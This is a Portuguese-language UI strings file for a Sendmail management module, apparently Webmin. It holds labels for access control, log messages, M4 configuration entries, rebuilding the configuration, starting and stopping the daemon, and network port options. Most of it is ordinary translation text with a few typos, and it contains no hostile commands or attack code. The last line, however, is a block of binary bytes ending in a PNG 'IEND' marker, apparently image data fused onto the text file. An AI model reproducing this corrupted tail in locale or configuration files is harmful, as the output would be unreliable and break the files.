acl_virtusers=Mapeamentos de endereço que este usuário pode editar
acl_none=Nenhum
acl_same=Usuários com o mesmo nome
acl_all=Todos
acl_vsame=Iniciando com o nomedeusuario@
acl_matching=Correspondente à expressão regular
acl_vtypes=Tipos de mapeamento de endereço que este usuário pode editar
acl_vtype0=Retornou erro
acl_vtype1=Para domínio
acl_vtype2=Para endereço
acl_vmax=Número máximo de mapeamentos de endereço
acl_unlimited=Ilimitado
acl_aliases=Aliases que este usuário pode editar
acl_atypes=Tipos de aliases que este usuário pode editar
acl_atype1=Endereços de e-mail
acl_atype2=Endereços no arquivo
acl_atype3=Gravar no arquivo
acl_atype4=Alimentar programa
acl_atype5=Resposta automática
acl_atype6=Arquivo de filtro
acl_amax=Número máximo de aliases
acl_outgoing=Endereços de saída que este usuário pode editar
acl_read=Usuários cujos e-mails podem ser lidos
acl_users=Somente usuários
acl_userse=Todos exceto usuários
acl_usersg=Membros do grupo
acl_from=Permitidos de endereços
acl_any=Todos os endereços
acl_fdoms=Caixa de correio @ domínios
acl_faddrs=Endereços listados
acl_fdom=Qualquer endereço @ domínio
acl_fromname=Nome real do endereço De
acl_apath=Limite de arquivos e programas para diretório
acl_attach=Máximo total de tamanho dos anexos
acl_sent=Armazenar e-mails enviados na caixa de correio
acl_canattach=Pode anexas arquivos server-side?
acl_boxname=Exibir nome da caixa de correio como
acl_boxname0=Nome do arquivo
acl_boxname1=Nome real do usuário
acl_boxname2=Nenhum
acl_usersm=Correspondência de usuários
acl_asame=Assim omo nome de usuário
acl_usersu=Com um UID no intervalo
acl_spam=Endereço de controle de Spam que este usuário pode editar

log_opts=Opções do sendmail enviadas
log_ports=Portas da rede alteradas
log_alias_create=Alias $1 criado
log_alias_modify=Alias $1 modificado
log_alias_delete=Alias $1 apagado
log_alias_manual=Arquivo de alias $1 editado manualmente
log_cws=Domínios locais alterados
log_masq=Mascaramento de domínio alterado
log_trusts=Usuários confiáveis alterados
log_virtuser_create=Mapeamento de endereço $1 criado
log_virtuser_modify=Mapeamento de endereço $1 modificado
log_virtuser_delete=Mapeamento de endereço $1 apagado
log_virtuser_manual=Arquivo de mapeamento de endereço $1 editado manualmente
log_mailer_create=Roteamento de domínio $1 criado
log_mailer_modify=Roteamento de domínio $1 modificado
log_mailer_delete=Roteamento de domínio $1 apagado
log_mailer_manual=Arquivo de roteamento de domínio $1 editado manualmente
log_generic_create=Endereço de saída $1 criado
log_generic_modify=Endereço de saída $1 modificado
log_generic_delete=Endereço de saída $1 apagado
log_generic_manual=Arquivo de endereço de saída $1 editado manualmente
log_cgs=Domínios de saída alterados
log_domain_create=Mapeamento de domínio $1 criado
log_domain_modify=Mapeamento de domínio $1 modificado
log_domain_delete=Mapeamento de domínio $1 apagado
log_domain_manual=Arquivo de mapeamento de domínio $1 editado manualmente
log_access_create=Controle de spam para $1 criado
log_access_modify=Controle de spam para $1 modificado
log_access_delete=Controle de spam para $1 apagado
log_access_manual=Arquivo de controle de spam para $1 editado manualmente
log_relay=Transmissão de domínios alterados
log_flushq=Descarregar lista de e-mail
log_delmailq=Apagar mensagem para $1 da lista
log_delmailqs=Apagados $1 mensagens da lista
log_stop=Daemon do sendmail parado
log_start=Daemon do sendmail iniciado
log_delmail=Apagadas $1 mensagens de $2
log_movemail=Movidas $1 mensagens de $2 para $3
log_send=E-mail enviado para $1
log_feature_create=Entrada M4 $1 adicionada
log_feature_modify=Entrada M4 $1 modificada
log_feature_delete=Entrada M4 $1 apagada
log_feature_move=Entrada M4 $1 movida
log_build=Reconstruir configuração do sendmail
log_delete_aliases=Aliases $1 apagados
log_delete_virtusers=Mapeamentos de endereço $1 apagados
log_delete_domains=Mapeamento de domínios $1 apagado
log_delete_accesses=Entradas de controle de spam $1 apagados
log_delete_generics=Endereços de saída $1 apagados
log_delete_mailers=Rotas de domínio $1 apagados

match_from=De: corresponde
match_subject=Assunto: corresponde
match_to=Para: corresponde
match_cc=Cc: corresponde
match_date=Data: corresponde
match_status=Correspondência de status
match_body=Correspondência de corpo
match_size=O tamanho é maior que
match_headers=Correspondência de cabeçalho
match_=-----------------
match_!from=De: não corresponde
match_!subject=Assunto: não corresponde
match_!to=Para: não corresponde
match_!cc=Cc: não corresponde
match_!date=Data: não corresponde
match_!status=Status não corresponde
match_!body=Corpo não corresponde
match_!size=Tamanho é menor que
match_!headers=O cabeçalho não corresponde

features_title=Configuração M4 do Sendmail
features_desc=Esta página lista as entradas relevantes do arquivo de configuração $1 do Sendmail M4, para a qual o arquivo de configuração atual $2 é construído.
features_type=Tipo de entrada
features_value=Linha no arquivo de configuração
features_type0=Outro
features_type1=Recurso
features_type2=Definir
features_type3=Indefinido
features_type4=Mensageiro
features_type5=Tipo de SO
features_add=Adicionar uma nova entrada de tipo:
features_build=Reconstruir Configuração do Sendmail
features_buildmsg=Clique neste botão para reconstruir seu arquivo de configuração do Sendmail $1 das entradas de configuração M4 listadas acima.
features_return=Configuração M4
features_emc=O arquivo de configuração M4 do Sendmail $2 não foi encontrada no seu sistema. Talvez ela não tenha sido instalada (comum para pacotes instalados do Sendmail), ou a <a href='$1'>configuração do módulo</a> esteja incorreta.
features_efeatures=O diretório de configuração base do M4 do Sendmail $2 não foi encontrado no seu sistema, ou não está no lugar correto ou talvez não tenha sido instalado (comum para pacotes instalados do Sendmail), ou a <a href='$1'>configuração do módulo</a> esteja incorreta.
features_econfig=A localização do diretório base do M4 do Sendmail e o arquivo de configuração M4 não foram definidos ainda na sua <a href='$1'>configuração do módulo</a>. Se você instalou o Sendmail a partir do fonte, este pode estar no diretório raiz original.
features_move=Mover
features_manual=Editar arquivo manualmente

feature_add=Adicionar Entrada de Configuração
feature_edit=Editar Entrada de Configuração
feature_header=Detalhes da entrada de configuração M4
feature_text=Linha de configuração
feature_feat=Recurso
feature_values=Parâmetros
feature_def=Nome da definição
feature_defval=Valor
feature_defmode1=Definir para ..
feature_defmode0=Indefinido
feature_mailer=Método de entrega de e-mail
feature_ostype=Tipo de Sistema Operacional
feature_old=Linha de configuração atual
feature_err=Falhou ao salvar entrada de configuração
feature_efeat=O recurso $1 já existe
feature_edef=A definição $1 já existe
feature_emailer=O mensageiro $1 já existe
feature_eostype=O tipo de sistema operacional já está definido como $1
feature_manual=Editar Arquivo M4
feature_mdesc=A página permite editar manualmente o arquivo de configuração M4 do Sendmail $1. Seja cuidadoso, nenhuma verificação de sintaxe será realizada em sua edição.

feat_access_db=Arquivo de controle de spam
feat_virtusertable=Mapeamento de endereço
feat_mailertable=Roteamento de domínio
feat_genericstable=Endereço de saída
feat_domaintable=Mapeamento de domínio

mailer_local=Entrega Local do Unix

build_title=Reconstruir Configuração do Sendmail
build_em4=O comando $1 necessário para reconstruir o seu arquivo de configuração do Sendmail não foi encontrado no seu sistema.
build_ebuild=Falhou ao reconstruir configuração : $1
build_rusure=Você tem certeza que deseja substituir o arquivo de configuração do Sendmail $1 com uma nova versão construída para $2 ?
build_rusure2=Esteja alerta para o fato que se você fizer alterações no Sendmail na Página de Opções do Sendmail, reconstruir o arquivo de configuração pode sobrescrever estas alterações se elas não estiverem sido realizadas no arquivo M4.
build_ok=Sim, substituir agora
build_diff=As seguintes alterações irão ser realizadas no seu arquivo de configuração do Sendmail ..
build_nodiff=Seu arquivo de configuração do sendmail já está atualizado.

stop_err=Falhou ao parar o sendmail
stop_ecannot=Você não está autorizado a parar o sendmail
stop_epid=O sendmail não parece estar em execução
restart_epids=Não foi possível encontrar os processos do sendmail
restart_ekill=Falhou ao enviar sinal para processos do sendmail : $1

start_err=Falhou ao iniciar o sendmail
start_ecannot=Você não está autorizado a iniciar o sendmail

ports_title=Portas da Rede
ports_name=Nome da porta
ports_addr=Ouvir no endereço
ports_all=Todos
ports_ip=IP
ports_port=Ouvir na porta
ports_opts=Opções da porta
ports_mod_a=Requer autenticação SMTP
ports_mod_b=Usar a mesma interface para saída de e-mail
ports_mod_c=Executar canonificação do nome do computador
ports_mod_f=Requer qualificação completa do nome do computador
ports_mod_h=Usar nome da interface para HELO
ports_mod_C=Não executar canonificação do nome do computador
ports_mod_E=Desabilitar ETRN
ports_def1=Aceitar e-mail na porta 25 para todos os endereços
ports_def0=Aceitar e-mail somente nas portas abaixo ..
ports_err=Falhou ao salvar portas da rede
ports_ecannot=Você não está autorizado a gerenciar as opções de portas
ports_ename=Nome da porta inválido na linha $1
ports_eclash=Nome da porta duplicado na linha $1
ports_eaddress=Endereço IP faltando ou inválido na linha $1
ports_eport=Número da porta faltando ou inválido na linha $1
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`